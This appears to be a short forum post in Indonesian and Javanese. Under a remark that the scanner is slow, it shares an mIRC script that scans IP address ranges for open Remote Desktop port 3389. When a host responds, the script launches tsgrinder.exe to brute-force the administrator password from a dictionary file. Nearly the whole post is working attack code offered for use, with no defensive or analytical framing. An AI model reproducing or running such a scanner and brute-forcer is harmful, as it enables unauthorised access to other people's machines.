nemu di kamar sebelah... tapi mantep kk... cuma untuk scanner
script ini lambat
alias rangerdp {
unset %range*
set %range1 $gettok($1,1,46)
set %range2 $gettok($1,2,46)
set %range3 $gettok($1,3,46)
echo @rdp 8,1* Kula Badhe Nglekasi Seken RDP Saking $1 Ngantos Port 3389, Nglelu Ndase Ta.
.timerRANGE -om 0 20 nextrdp 3389
}
menu menubar {
Seken RDP: window -e @rdp
}
menu @rdp {
Mulai Seken: rangerdp $?="String1" $+ . $+ $?="String2" $+ . $+ $?="String3"
Mandek/Paus: stoprdp
Lanjut:{ .timerRANGE -om 0 20 nextrdp | echo @RDP 8,1* Lanjut... }
-
edit pass list: run notepad dict
-
Bukak mstsc sko cmd: run mstsc -v $?="Ip Please..."
}
alias nextrdp {
:START
set %temp $r(0,999999999999)
if ($sock(rdp $+ %temp).name != $null) goto START
inc %range4
sockopen rdp $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 3389
goto next
:NEXT
if (%range4 >= 255) { inc %range3 | set %range4 0 }
if (%range3 >= 255) { unset %range* | echo @rdp 8,1* Seken Delay. | .timerRANGE off | halt }
}
alias stoprdp { .timerrange off | .timerrestart off | sockclose *rdp* }
on 1:INPUT:@rdp:sockopen RDP $+ $r(0,999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389
on 1:SOCKOPEN:RDP*:if (!$sockerr) { run cmd.exe /c tsgrinder.exe -w dict -u administrator -b $sock($sockname).ip | echo @rdp 8,1* Ditengga Rumiyin $sock($sockname).ip . | .timerRANGE off | .timerRESTART -o 1 60 .timerRANGE -om 0 20 nextrdp 3389 | set %range3 $gettok($sock($sockname).ip,3,46) | set %range4 $gettok($sock($sockname).ip,4,46) | sockclose *rdp* }